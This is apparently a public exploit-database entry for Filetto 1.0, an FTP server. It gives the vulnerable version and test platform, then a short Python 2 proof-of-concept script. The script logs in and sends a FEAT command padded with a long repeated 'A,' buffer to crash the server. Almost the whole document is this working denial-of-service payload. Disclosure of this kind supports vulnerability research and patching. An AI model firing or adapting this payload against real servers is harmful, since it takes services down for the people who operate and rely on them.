# Exploit Title: Filetto 1.0 - 'FEAT' Denial of Service (PoC) # Date: 2020-05-13 # Found by: Alvaro J. Gene (Socket_0x03) # Vendor Homepage: http://www.utillyty.eu # Software Link: https://sourceforge.net/projects/filetto # Vulnerable Application: Filetto # Version: 1.0 (last version. Updated: 01/31/2020) # Server: FTP Server # Vulnerable Command: FEAT # Tested on: Windows 7 SP1 ==================================================================================================== ======================== [ Filetto v1.0 - 'FEAT' Denial of Service (PoC) ] ========================= ==================================================================================================== from socket import * host = "192.168.0.14" port = 2021 username = "Socket_0x03" password = "password" s = socket(AF_INET, SOCK_STREAM) s.connect((host, port)) print s.recv(1024) s.send("USER %s\r\n" % (username)) print s.recv(1024) s.send("PASS %s\r\n" % (password)) print s.recv(1024) buffer = "FEAT " buffer += "\x41\x2c" * 11008 buffer += "\r\n" s.send(buffer) print s.recv(1024) s.close()